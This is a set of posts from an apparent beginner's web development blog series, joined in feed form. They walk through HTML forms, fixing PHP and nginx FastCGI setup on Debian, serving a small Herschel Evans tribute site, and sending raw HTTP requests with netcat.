Remember our Herschel Evans’ website? Let’s add a commenting section to it so that people can submit their comments.

Actually, I had a better (simpler) idea. Instead of a commenting section, that adds/removes/edits things from our page, let’s add a voting form asking whether people liked or not the page.

Voting form

First of all we need an HTML form to receive the data, with radio buttons and a submit button:

Simple right? Let’s take a look at some things that are not so obvious:

  1. What’s the reason for the field value="yes" if the text displayed is already “Yes”? The value is the text that will be sent to the form handler, the thing that gets the form and does something with it, and the “Yes” is just the text that will be displayed after the button in the page.
  2. What about the field name="liked"? That is because those buttons belong to the same option, take a look at this health research form I made, I added various input types as well:

All right, we now know how to create basic HTML forms, we can receive input from our clients through HTML.

But how does a server processes input from its clients?

HTML handlers: how a server processes input from its clients

Now that we have a way for the client to tell us what he wants we need to collect this information the forms are sending us and do something with it. In the our case we are going to update a number (or percentage) that shows how many people liked and disliked our page.

Let’s take a look at the The Action Attribute section on the w3schools tutorial:

The action attribute defines the action to be performed when the form is submitted.

So, according to w3schools, we would do something like this:

<form action=”/action_page.php”>

Okay, seems simple. There’s just a tiny problem: I don’t know any PHP at all.

PHP — Hypertext Preprocessor

Photo by Fancycrave.com from Pexels

Let’s read the Wikipedia description for PHP:

PHP: Hypertext Preprocessor (or simply PHP) is a server-side scripting language designed for Web development.

Soooo what’s server-side scripting again?

Server-side scripting is a technique used in web development which involves employing scripts on a web server which produce a response customized for each user’s (client’s) request to the website. The alternative is for the web server itself to deliver a static web page.

So server-side scripting is basically a technique in which the client’s actions make the server execute some type of script, a piece of code that does something.

So PHP is a language for creating scripts so that the server can do some processing before it serves us the pages. In our voting case, what the server has to do is maintain two counters: one of likes and another one of dislikes. Then, when it receives a request for the web page, it puts the counters in the HTML and sends the page. Also, the server has to update those counters every time it receives a voting form.

This is interesting, we need to use PHP to actually build a part of our HTML pages on-the-fly. These pages are called dynamic Web pages.

First of all let’s install PHP, I’ll be using this installation tutorial for Debian.

Now we can start reading the w3schools’ PHP tutorial. We don’t need to know everything it talks about, so here are the sections I believe are most important to us right now: Intro, Syntax, Variables, Echo/Print, Form Handling.

We don’t need to be experts in PHP just now. Let’s, as always, start small and simple. And what better way to do this than with a Hello World?

(P)H(P)ello World!

Let’s access this page using our browser… Sh*t, it doesn’t work: 404, Not Found. What the — ?

Maybe this is because of the path in which the file is stored: /home/gabriel/html/php/hello_world_php.html. No, same error when it’s on /home/gabriel/html.

Maybe this is because I’m trying to embed PHP code into HTML in a funny way, let’s try raw PHP:

404 Not Found. Alright, check out the Problems section 1 for the solution of this problem.

Okay now we can access PHP files… But the code above shows this on the browser:

<?php
  echo "<h1>Hello World!</h1>";
?>

This means that our server is not processing PHP at all! See Problems section 2 on how to solve this.

Phew! I had a lot of trouble installing and configuring PHP.

Now that we know how to say ‘Hello World’ on PHP we can start doing some more interesting stuff. How about a calculator?

Calculator

This should be easy: simple form that takes two numbers and an operation and redirects to a page with the answer:

Now we add a handler PHP file to calculate that:

IT WORKS!!!

If you don’t have much programming experience it’s possible that you understood close to nothing about this code. In that case I recommend you read the operators and the IF/ELSE tutorials on PHP. If you don’t have much experience with programming I suggest you dig into switch statements as well in order to practice a little bit more.

Thanks for reading

Thank you so much for reading. To be honest this was the first time on this series I didn’t really know what was going on at all, so please let me know if you have thoughts on how to improve my explanation.

Thank you for reading, see you next time.

PROBLEMS

IMPORTANT: Don’t go around copying everything I’m doing before reading all the section because, more often than not, I tend to break things before I understand how to fix them. Read the entire section, figure out what’s going on, and than fix the problem you’re having.

1. PHP 404 Not Found: FastCGI and Linux packages

The problem here is that the server isn’t opening (404: Not Found) PHP files (files with the.phpextention). But it serves fine HTML files with PHP code in it. Well… It serves HTML files with PHP code, but it doesn’t seem to process the PHP code.

Let’s try this Stack Overflow question, it says something about getting an specific error on the FastCGI log file, let’s check that file and look for some errors.

You: But wait! What the hell is FastCGI?
Me: Great question, I have absolutely no idea, lol.

I did some digging on Wikipedia and found a question on Quora:

What is FastCGI in PHP?
It’s a way for PHP to be executed by a process that’s separate from the webserver. This allows the FastCGI process to execute more efficiently.

CGI stands for Common Gateway Interface. In other words, it’s a way for other programs (processes) to do things for the web server, so that these things don’t have to be done all in one process (the server’s process).

I found something interesting while looking for the error log, check this out:

I’m trying to set up a global location in nginx. It all works perfectly right now, other than PHP scripts requiring fastcgi. They're running a 404.

The thing to realize here is not the question itself, but the information contained in it: There’s this location thing, I remember this from when I was installing PHP in Nginx, I had to add a location thing in the configuration file:

location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}

And after that the tutorial told me to restart the Nginx service:

$ sudo systemctl restart nginx

And I did. But I know that nginx reloads the configuration file with:

$ sudo nginx -s reload

or with

$ sudo nginx -s restart

So I let’s try the reload. No luck.

Here’s something interesting I found on the tutorial I “followed” (I didn’t read it…. oooops):

Unlike Apache, Nginx doesn’t have a built in support for processing PHP files so we need to install a separate application such as PHP FPM (“fastCGI process manager”) which will handle PHP files.

And then it tells me to download the php-fpm package:

$ sudo apt install php7.2-fpm

But here’s the catch: the tutorial is a bit old! Take a look at my PHP version:

$ php -v
PHP 7.3.1 (cli) (built: Jan 15 2019 14:20:03) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.1, Copyright (c) 1998-2018 Zend Technologies

My PHP is version 7.3 and I have the FPM for version 7.2! Let’s remove FPM for PHP 7.2 and install the one for version 7.3 then:

$ sudo apt remove php7.2-fpm
...
$ sudo apt install php7.3-fpm
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:
The following packages have unmet dependencies:
 php7.3-fpm : Depends: php7.3-cli but it is not going to be installed
              Depends: libpcre2-8-0 (>= 10.31) but 10.22-3 is to be installed

Ah crap, I installed a bunch of sh*t for PHP version 7.2. I could just reinstall PHP on version 7.2, but I want the newest version. Let’s remove this old crap and try to install the new crap:

$ sudo apt remove php7.2-*
...
$ sudo apt install php7.3-common php7.3-cli
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:
The following packages have unmet dependencies:
 php7.3-cli : Depends: libpcre2-8-0 (>= 10.31) but 10.22-3 is to be installed
E: Unable to correct problems, you have held broken packages.

Okay, I’m guessing libpcre is a package required by php7.*-cli, and probably php7.2-cliand php7.3-cli require different versions of libpcre. What happened is when apt removed php7.2-cli it didn’t remove the libpcre version of it required upon installation. Take a look at what apt tells us when I try to manually install libpcre:

The following packages were automatically installed and are no longer required:
  libargon2-1 libsodium23 php-common
Use 'sudo apt autoremove' to remove them.

Great! It tells us how to remove old unnecessary packages:

$ sudo apt autoremove
...
$ sudo apt install php7.3-common php7.3-cli
...
The following packages have unmet dependencies:
 php7.3-cli : Depends: libpcre2-8-0 (>= 10.31) but 10.22-3 is to be installed
E: Unable to correct problems, you have held broken packages.

Dammit, same problem.

You: Why are you going through all that trouble just to fix that? Just delete libpcre and move on dude!
Me: It’s possible that other stuff on our machine depends on libpcre, so we can’t just blindly uninstall it.

Oh, looks like we could’ve used aptitude:

-f, — fix-broken Fix; attempt to correct a system with broken dependencies in place. This option, when used with install/remove, can omit any packages to permit APT to deduce a likely solution. If packages are specified, these have to completely correct the problem.

Let’s give this a try, I’ll be using the packages from this tutorial:

$ sudo aptitude install -f php7.3-fpm php7.3-cli php7.3-mysql php7.3-gd php7.3-imagick php7.3-recode php7.3-tidy php7.3-xmlrpc
...
The following packages have unmet dependencies:
 php7.3-cli : Depends: libpcre2-8-0 (>= 10.31) but 10.22-3 is installed
 php7.3-fpm : Depends: libpcre2-8-0 (>= 10.31) but 10.22-3 is installed
The following actions will resolve these dependencies:
Keep the following packages at their current version:
1)     php7.3-cli [Not Installed]                         
2)     php7.3-fpm [Not Installed]
Accept this solution? [Y/n/q/?]

No! You’re telling me you’re just not going to install those packages? I DO NOT ACCEPT THAT “SOLUTION” YOU MORON!

The following actions will resolve these dependencies:
Upgrade the following packages:                                            
1)     libpcre2-8-0 [10.22-3 (now, stable) -> 10.31-3+0~20180714171306.1+stretch
Accept this solution? [Y/n/q/?] y

That’s more like it, and IT WORKS!

2. Nginx not processing PHP

Let’s google this (by the way, I actually use DuckDuckGo):

nginx not processing php

Found this question, here’s the answer:

Ok, so based on our comments back and forth you need to add this section to your nginx config for the server config listening on :8000.
That regex tells nginx that whenever it gets a request for a URL with a file ending in .php to send that to the fastcgi process. Otherwise it’s going to default to returning the raw file that matches in /var/www/html.
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
location ~ \.php$ {
    try_files $uri =404;
    include snippets/fastcgi-php.conf;
    # With php5-cgi alone:
    #fastcgi_pass 127.0.0.1:9000;
    # With php5-fpm:
    #fastcgi_split_path_info ^(.+\.php)(/.+)$;
    fastcgi_pass unix:/var/run/php5-fpm.sock;
    #fastcgi_index index.php;
    include fastcgi_params;
}

Let’s try adding this location bit to our server configuration file, changing the path /var/run/php5-fpm.sock to match our PHP version:

# /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
 worker_connections 768;
 # multi_accept on;
}
http {
 server {
  location / {
   root /home/gabriel/html;
  }
  location ~ \.php$ {
    try_files $uri =404;
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/var/run/php7.3-fpm.sock;
    #fastcgi_index index.php;
    include fastcgi_params;
  }
 }
}

And restart the nginx server:

$ sudo nginx -s reload
nginx: [emerg] "try_files" directive is duplicate in /etc/nginx/snippets/fastcgi-php.conf:5

No luck. My guess is that what we tried to specify is already specified in other configuration files, let’s take a look at /etc/nginx/snippets/fastcgi-php.conf:

# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+\.php)(/.+)$;
# Check that the PHP script exists before passing it
try_files $fastcgi_script_name =404;
# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;
fastcgi_index index.php;
include fastcgi.conf;

I have no idea of what’s going on here, this tutorial seems to give a good overall explanation of FastCGI’s configurations:

Ubuntu places nginx’s configuration files in /etc/nginx and its sub-directories. Shared configuration fragments are kept in that root, and specific server setups reside in sites-available with symlinks in sites-enabled to make them active.

So it seems we have been using configurations’ files the wrong way, let’s move our server configuration to a file /etc/nginx/sites-available/hersheland create a symlink /etc/nginx/sites-enabled/hershel to that file.

Make a copy of /etc/nginx/sites-available/default and change the location to match our server’s location:

$ cd /etc/nginx/sites-available/
$ sudo cp default herschel
$ sudo vim hershel         # use any editor you like (emacs, nano)

Now we change the file to include our root directory:

# remove this line
root /var/www/html;
# add this line to location / block
root /home/gabriel/html/; # our server's root (where our html is)

And we enable PHP by uncommenting this section, remember to change the version number to match your PHP version:

location ~ \.php$ {
  include snippets/fastcgi-php.conf;
 
  # With php-fpm (or other unix sockets):
  fastcgi_pass unix:/var/run/php/php7.3-fpm.sock;
  # With php-cgi (or other tcp sockets):
  # fastcgi_pass 127.0.0.1:9000;
}

Then we create a symlink to replace the default symlink:

$ cd ..
$ sudo rm sites-enabled/default
$ sudo ln -s /etc/nginx/sites-available/herschel sites-enabled/default

Finally, we reload the configuration files:

$ sudo nginx -s reload
nginx: [emerg] "fastcgi_pass" directive is duplicate in /etc/nginx/sites-enabled/default:62

Crap. I guess I shouldn’t have uncommented both the fastcgi_pass’ lines, so let’s comment one of them (the one with php-cgi, because we’re using php-fpm):

location ~ \.php$ {
  include snippets/fastcgi-php.conf;
 
  # With php-fpm (or other unix sockets):
  fastcgi_pass unix:/var/run/php/php7.3-fpm.sock;
  # With php-cgi (or other tcp sockets):
  # fastcgi_pass 127.0.0.1:9000; # comment this line
}

And reload the configuration files again:

$ sudo nginx -s reload

Okayy now we have our website back. Let’s try to access hello_world.php again:

404 NOT FOUND

Crap. Maybe restarting the php7.3-fpm service?

$ sudo systemctl restart php7.3-fpm

Nope. I think it’s time to stop trying to guess what’s going on. Let’s read another tutorial, and then try again:

No input file specified.

Sweet, it doesn’t throw a 404 any more. But it’s still not showing what we want, let’s google this:

php no input file specified nginx

I found this question which has this answer:

Now, there are many things wrong with this configuration. An obvious and glaring issue is the root directive in the location / block. When the root is defined inside the location block, it is available/defined for that block only.

This seems interesting. The way our configuration is the root directive is inside the location / block. Let’s get it out and try again.

YEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEES!

Beautiful, but why did that fix the problem? What was the problem? In the same answer there’s an explanation for that:

Here, the location /images block will not match for any request because it does not have any $document _root defined and we will have to redundantly define root again for it. Obviously, the root directive should be moved out of the location / block and defined in the server block. This way, the location blocks will inherit the value defined in the parental server block. Of course, if you want to define a different $document_root for a location, you can put a root directive in a location block.

Aaah, so because we defined the root directory inside a location block it was available only for that location block, and not others such as the PHP one.

]]> <![CDATA[Get started in web development with me — Part 3: building our first web site]]> https://gmelodie.medium.com/get-started-in-web-development-with-me-part-3-building-our-first-web-site-105742343fc3?source=rss-ea856b51f1c0------2 https://medium.com/p/105742343fc3 Tue, 15 Jan 2019 08:31:00 GMT 2020-03-09T09:05:30.423Z
Photo by Bartek Wojtas from Pexels

Get started in web development with me — Part 3: building our first web site

Hey you, how are you doing?

I’ll be honest with you, I’m in a very worky mood today, so let’s cut the crap and get right on the web stuff.

Lost in the series? Here are Part 1, Part 2, Part 3, Part 4 and Part 5.

Building

We’ve learned a lot about web so far, but it’s about time we build some sh*t.

“So what are we going to build?”

Well, as we’ve been talking about servers and protocols, how about we build our very first web server?

First of all, relax

Don’t be afraid, we won’t mess around with magic stuff just yet. Let’s take the time to build our knowledge and to get comfortable with the web environment. Then we can gradually increase complexity of what we’re doing.

We shouldn’t rush the learning process (at least that’s the way I see it). I hate the anxiety of trying to learn everything at once. Forget about it, it’s not going to work.

Herschel Evans

You must remember our beloved Herschel Evans from the last post. I’m going to create a web page about him. Basic stuff: raw HTML and a couple of links between pages. That’s it.

You can put whatever content you’d like on your page. I chose Herschel Evans because I really know nothing about him and, as I’ve used him as an example earlier, I believe it’s only fair I pay him a little tribute.

H(TML)ello World

Photo by Tyler Lastovich from Pexels

We’ve already looked at a bit of HTML earlier, so I’m guessing you remember absolutely nothing about it. Great, me neither :)

First page

What I want to do is a landing page with a quick introduction about the purpose of the page as well as Herschel’s life, here’s the text I’m using:

Who’s Herschel Evans?
“Herschel Evans was an American tenor saxophonist who worked in the Count Basie Orchestra. He also worked with Lionel Hampton and Buck Clayton. He is also known for starting his cousin Joe McQueen’s interest in the saxophone.” — Wikipedia

Why does this page exist?

This is an example page for my web development series. I started writing the series on Medium, and now I’m creating my first web page example. The reason why I chose Herschel Evans is because I needed something to talk about, so I went to Wikipedia and hit the ‘Random page’ button. I landed on the Herschel Evans’ page, and here we are!

And here’s the HTML:

If you’re wondering what’s the weird, self-closing <!-- index.html --> tag, this is just a comment tag.

Me: That page is not good enough.
You: Why?
Me: Because it has no links to other pages!

Let’s put some links (using anchor tags) to some remote web pages.

Okay, now what if we wanted to pay a tribute to Herschel’s cousin Joe McQueen as well? Let’s make an HTML page for Joe as well.

Yeah I wasn’t very inspired to write that last one.

Okay great, we now have two HTML pages. Since they will be in the same website it’d be nice if they were linked. Since until now we used URLs to reference pages, let’s try the same thing in our local pages. Do you remember how URLs to local files look like?

file://path/to/file

Let’s change our files a little bit to include these paths:

<a href="file://localhost/home/gabriel/html/website_joe_v1.html">
  Herschel's cousin!
</a>

And:

<a href="file://localhost/(...)/website_herschel_v2.html">
  Joe's cousin!
</a>

Let’s check out all the code one more time, I’ve just appended the paths to the end of the files:

It works!

One more thing: I think we don’t need to use absolute path names to files. That’d be great because if we use relative paths we can actually move our files around new directories and, as long as the relative paths are the same, the links would still work. Check out the “What the hell are relative and absolute paths?” section on the Appendix.

So let’s try using relative paths:

<a href="file://website_herschel_v2.html"> Herschel's page! </a>

Crap, that doesn’t work. Let’s see…

An absolute url includes the parts before the “path” part — in other words, it includes the scheme (the http in http://foo/bar/baz) and the hostname (the foo in http://foo/bar/baz) (and optionally port, userinfo and port).
Relative urls start with a path.
Absolute urls are, well, absolute: the location of the resource can be resolved looking only at the url itself. A relative url is in a sense incomplete: to resolve it, you need the scheme and hostname, and these are typically taken from the current context. For example, in a web page at
http://myhost/mypath/myresource1.html
you could put a link like so
<a href="pages/page1">click me</a>

I did some deeper digging, looks like an URL is a type of URI. I strongly suggest you read this wikipedia page if you’re interested on URLs and this stuff.

Let’s try <a href = "website_herschel_v2.html> Joe's cousin! </a>…

It works! And the best part is we can move our htmldirectory wherever we’d like and it still works!

Sweet! Now we have our HTML pages linked to each other and we can access them from our computer. But we don’t build web pages for ourselves, we build them to others.

HTTP Servers: letting others access our pages

Photo by Helena Lopes from Pexels

I’m sure you remember everything about HTTP and servers, so let’s… — wait what!? You don’t remember? Ok I’ll be honest with you, neither did I, lol. Let’s do some quick review:

A server is a machine that provides any kind of service to other machines (the clients). HTTP is the protocol we use to transfer content through the web.

When we’re creating a web site we need a web server in order to serve our HTML content (and maybe a bunch of other sh*t, but for now we just want to serve raw HTML). The server we need right now is one that receives an HTTP request for a specific HTML page, website_herschel_v2.html for instance, and sends this page through HTTP (in other words, it sends an HTTP response with the content).

“So let’s start building our HTTP server!”

Me: Whoa whoa. Hold your horses, we’re not building one of these right now.
You: Why not?
Me: Because we would need to know how to code in some language (C or Python for example) as well as network sockets and other network stuff. Also, as far as I know almost nobody codes their own web servers.
You: Wait, so how are we going to do this?
Me: A-ha! Great question grasshopper. We’re going to use existent popular web servers such as Apache or Nginx.

Basically what we’re going to do with Nginx is start it up and tell it where our HTML files are. I’ve chosen Nginx because it seems to be very popular and it’s simpler than Apache, but go ahead and use whichever you like.

Starting up our web server

Let’s download and install Nginx, check this link if you’re at Linux, usually this is as easy as typing something like:

$ sudo apt-get install nginx

Great, we have our web server installed. Now before we continue we need to understand a bit about network ports, check out the Appendix for that.

Let’s try to run the placeholder that Nginx has (it has some presentation pages):

Go run$ sudo nginx on your terminal. Nginx will try to open the server on port 80, but if it’s already running it means that port 80 is busy and the startup will fail:

ginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use)
nginx: [emerg] bind() to [::]:80 failed (98: Address already in use)
...
nginx: [emerg] still could not bind()

If this happens you probably already have Nginx (or other web server) running, so let’s try to access it:

Open your browser and type the address to your machine on port 80 (localhost:80). A nice welcome page for Nginx should appear, this is pretty standard so Apache and other web servers should also have similar placeholder pages.

Serving our pages

Okay, we now have HTML pages and a web server, we just need to tell the server to serve the pages we’ve built. To do this we need to change the configuration files to point to our pages. I strongly suggest you read the first three sections of the Nginx’s Beginner’s Guide so that you don’t get lost on the next part.

Nginx’s configuration files are on /etc/nginx/. The main configuration file is /etc/nginx/nginx.conf, other files are on /etc/nginx/conf.d/. Let’s first make a copy of the config file so we have a backup in case something explodes:

$ sudo cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.orig

Sweet, now we can mess up nginx.conf. Thankfully Nginx has a great tutorial for exactly what we want to do. Here’s what I have after following the tutorial:

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
 worker_connections 768;
 # multi_accept on;
}
http {
 server {
  location / {
   root /home/gabriel/html;
  } 
 }
}

Okay, let’s reload the configuration file:

$ sudo nginx -s reload

And now let’s access http://localhost/ using the browser…

I get a “403 Forbidden” error message, crap. What did we mess up? Let’s go back to the tutorial:

Add the following location block to the server block:
location / {root /data/www;}
This location block specifies the “/” prefix compared with the URI from the request. For matching requests, the URI will be added to the path specified in the root directive, that is, to /data/www, to form the path to the requested file on the local file system.

This means that if we try to access http://localhost/ it will try to go to /home/gabriel/html/ (because our root is /home/gabriel/html). Now what does 403 mean? According to Wikipedia:

HTTP 403 is a standard HTTP status code communicated to clients by an HTTP server to indicate that the server understood the request, but will not fulfill it.

So why did we get this? Well, we didn’t actually request any file right? I mean, we don’t have any default HTML file (index.html) and we tried to access a directory! Let’s specify a file:

http://localhost/website_herschel_v2.html

It works! But how do we make it access a default page? My guess is we rename some file to be index.html, let’s see:

$ mv /home/gabriel/html/website_herschel_v2.html /home/gabriel/html/index.html

Now access again the web site:

http://localhost/

YES! It serves us Herschel’s page!

Obs: I had some trouble with the links on this one, so be sure to check your links when you change file names.

Accessing the website from other machines

We can access our website from other devices in our local network. For that we need to first of all figure out our private IP address. Then we open a browser in the device and type the IP we found instead of localhost:

http://192.168.123.321/

Boom! Our website can be seen by other people!

Obs: For now only the people on our local network can access our website, we’ll take a look at external accesses later.

Later

That’s it for today. I’m very tired. Hope you enjoyed it.

Thanks for reading :D

Appendix

“What the hell are relative and absolute paths?”

Let’s check Wikipedia:

An absolute or full path points to the same location in a file system, regardless of the current working directory. To do that, it must include the root directory.

So an absolute path looks like this:

/home/gabriel/html/
By contrast, a relative path starts from some given working directory, avoiding the need to provide the full absolute path. A filename can be considered as a relative path based at the current working directory.

So a relative path to /home/gabriel/html/website_herschel_v2.html from /home/gabriel/html/website_joe_v1.html would be just website_herschel_v2.html.

Suppose we had another file /home/gabriel/html/stupid/stupid_file.txt. Then the relative path to it from /home/gabriel/html/website_joe_v1.html would be stupid_dir/stupid_file.txt.

“Why the hell are we talking about this again?”

Let’s say we want to move our html directory out of gabriel . The new path for our HTML files would be /home/html/website_joe_v1.html and /home/html/website_herschel_v2.html .

You see the problem with this?

We used absolute paths in the links we created to our HTML files, and now these absolute paths have changed! In order to fix this we need to manually change the URLs in each of the files. This is awful! Every time we want to change directories the links would stop working.

If we use relative paths this wouldn’t happen because relative paths don’t necessarily change when absolute paths do.

Network Ports

As always, let’s take a look at the Wikipedia page for network ports

In computer networking, a port is an endpoint of communication. Physical as well as wireless connections are terminated at ports of hardware devices. At the software level, within an operating system, a port is a logical construct that identifies a specific process or a type of network service.
The software port is always associated with an IP address of a host and the protocol type of the communication. It completes the destination or origination network address of a message. Ports are identified for each protocol and address combination by 16-bit unsigned numbers, commonly known as the port number.

So what is a network port anyways? Well, the way I like to thing about it is this: imagine you live in a house with a bunch of other people and someone wants to mail you a letter. They would need to write the address for your house and your name on it.

An IP address is something that identifies you computer on a network (your house’s address), the port identifies a program to which the message is passed (your name).

Me: Okay, so when you access a web server you have to specify a port as well. The port is, like everything else, specified in the URL.
You: But wait, I’ve never written the port in any URL.
Me: That’s because there’s a default port for web servers so that if none is specified, that’s what will be used, which is port 80, just like the index.htmlfile. In URLs, the port is passed after the host field, separated by a :. Go ahead an access Google, www.google.com:80.
]]> <![CDATA[Get started in web development with me: Protocols, Servers and HTTP]]> https://gmelodie.medium.com/get-started-in-web-development-with-me-protocols-servers-and-http-33c527725b74?source=rss-ea856b51f1c0------2 https://medium.com/p/33c527725b74 Fri, 11 Jan 2019 08:01:01 GMT 2020-03-09T09:05:14.505Z
Photo by Miguel Constantin Montes from Pexels

Get started in web development with me — Part 2: Protocols, Servers and HTTP

On my last post I discussed the approach I’ll use on this series, talked a bit about my background and started discussing some core concepts of web: HTML and URLs.

Lost in the series? Here are Part 1, Part 2, Part 3, Part 4 and Part 5.

So where were we?

We saw that a URL can basically be divided into three parts: protocol, hostname, and fileinfo. In case you forgot, here’s the anatomy of a common URL:

protocol://hostname/fileinfo

We already know that fileinfo is just the path to a file, ok. But what about the protocol and the hostname?

Protocols

What the heck is a protocol anyways? Let’s see:

In telecommunication, a communication protocol is a system of rules that allow two or more entities of a communications system to transmit information via any kind of variation of a physical quantity. The protocol defines the rules, syntax, semantics and synchronization of communication and possible error recovery methods.

Okay, so here’s another way of thinking about it: suppose you received a letter but you don’t know either where it came from or the language in which it was written (let’s say you don’t recognize the alphabet it uses):

เรียนท่านผู้อ่าน

ฉันดีใจที่คุณมาถึงที่นี่ แสดงความคิดเห็นคำกล้วยถ้าคุณอ่านนี้

Even if you could use google translator you wouldn’t be able to read that letter unless you tried every language (letting google suggest the language to you doesn’t count, you cheater). Now suppose that the whole world agreed on a new rule: every letter has to have a field “language” in it, in which the sender writes the name of the language he’s using in english:

language: Tamil
ஓ, கடைசி நாளில் எழுதப்பட்ட எந்த மொழியில் நான் உங்களுக்கு சொல்லமாட்டேன். ஆனால் நீங்கள் இங்கு வந்தால் நல்லது.

Wow! Now you can easily look it up on any translator for Tamil. The analogy here is that the language itself is a protocol, a set of rules, syntax and all that crap, and the field language in the letter is the protocol field on a URL.

So when a server sees the URL http://en.wikipedia.org/wiki/Herschel_Evans arriving, it knows that that is an HTTP ‘letter’ and so it can read and understand the message (in this case, “give me the wiki page for Herschel Evans”).

Other examples of protocols are TCP and IP, used for sending and receiving stuff over the internet. They’re very different from HTTP, but HTTP often relies on both of them. This doesn’t really matter right now to us. Take a look at the OSI Model if you’re interested.

“But wait, what’s a server?”

I’m glad you asked. A server is, you guessed it, a machine that serves something (a service) to clients. Clients are the machines a server works for. The clients are responsible for reaching out to the server, requesting and even sending things to it. Clients can be regular PCs, smart coffee machines, and even other servers! The thing to realize here is that clients and servers are roles and any machine can be either of those (maybe even both!) depending on the case.

So a server is basically a machine that works for others. It can serve web pages (such servers are called web servers), domain names (more on that later), etc. Every server works the same way: it receives a request (“could you give me the Wikipedia page for Herschel Evans please?” or “what time is it?”), it does something, and then it sends a response (“yep, here it is Herschel Evans’ page!”, “no! I’ve exploded”, “it’s 9:30am”, “go to hell”,…).

“Sooo you were talking about HTTP…?”

Oh! Right.

HTTP — HyperText Transfer Protocol

Remember Hypertext? The kind of text we use to write content in the web, usually written in HTML, the HyperText Markup Language and all that sh*t.

So now we know what a protocol is and why it is used for, sweet. HTTP transfers our HTML documents back and forth over the internet. But how does it work?

Here’s a quick tutorial on the HTTP protocol (don’t worry about the CGI part). This tutorial is a bit old (HTTP 1.0 and 1.1) but I don’t think too many things have changed between versions 1 and 2.

So if web servers receive HTTP requests and send responses, this means we can build our own HTTP request. Let’s see how we can do it. Here’s an example of an HTTP request for Herschel Evans’ Wikipedia page:

GET /wiki/Herschel_Evans HTTP/1.0
Host: wikipedia.org
<empty line>

This tells us we want the file /wiki/Herschel_Evans from the website wikipedia.org and that we’re using HTTP version 1.0.

Great, let’s use netcat to make this request. With netcat the request ends up being a little bit different from the above because we first have to establish a connection and then make the request:

$ nc wikipedia.org 80 #don't worry about the '80' there for now
...
$

What the f***? It just shut down the connection? I don’t have any clue why this is happening, lol. Let’s try getting the index page from Google:

$ nc google.com 80 # it works
GET index.html HTTP/1.0
<empty line>
HTTP/1.0 404 Not Found
Content-Type: text/html; charset=UTF-8
Referrer-Policy: no-referrer
Content-Length: 1561
Date: Thu, 10 Jan 2019 17:34:42 GMT
<!DOCTYPE html>
...
# Bunch of uninteresting stuff

Yes! We did it!

“But the response says ‘404 not found’ dude”

Doesn’t matter, we just wanted to make a request and receive a response, so it’s all good. My best guess is that these sites require more sophisticated parameters on the request than we handed them, but this is a problem for later. For now, we kind of know how an HTTP request looks like. We know how to send a request and how to read an HTTP response.

Obs: We won’t get into HTTPS or other protocols right now because I think we need to understand a bit more basic stuff before going into that. Deal?

That’s it for today

I don’t want to dive too deep too fast into concepts like HTTP and HTML. We will surely need to know more about them later, but right now we just want to have a grasp of how things look like on the internet and which thing is used to achieve which goal.

Feel free to comment on any mistakes you see, I mean it. If you know a lot about grammar and realized I should’ve used a comma somewhere that I didn’t or if I said something that’s not entirely true about HTTP pleaaaaase let me know.

Go right up to the next part you.

]]>